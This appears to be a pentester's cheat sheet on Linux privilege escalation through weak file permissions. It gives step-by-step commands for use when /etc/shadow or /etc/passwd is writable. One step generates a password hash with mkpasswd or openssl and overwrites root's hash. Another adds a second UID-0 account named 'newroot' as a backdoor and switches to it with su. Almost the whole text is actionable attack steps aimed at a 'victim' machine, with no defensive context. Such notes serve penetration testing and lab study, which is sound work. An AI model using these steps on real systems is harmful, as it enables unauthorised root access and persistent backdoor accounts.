#
Weak Files Permissions
#
Writable /etc/shadow
# In local machine generate new sha512 hash
mkpasswd -m sha-512 newpassword
Edit the victim /etc/shadow file and replace the root password hash
(everything between the first and second double colon : xxxxxx:)
#
Writable /etc/passwd
#
a) Generate a new password
# In local machine generate new sha512 hash
openssl passwd newpassword
Edit the victim /etc/passwd file and replace the X in root with the password hash
(The X instruct the computer to look in the shadow file for the hash password.)
From: root:x:0:0:root:/bin/bash
To: root:2EF5HRnQdTg/s:0:0:root:/bin/bash
Change user and use the new password:
su
#
b) Generate a new root user
Copy the root user line in /etc/passwd
root:2EF5HRnQdTg/s:0:0:root:/bin/bash
Paste in the bottom with a different username
newroot:2EF5HRnQdTg/s:0:0:root:/bin/bash
Change user and use the new password
$ su newroot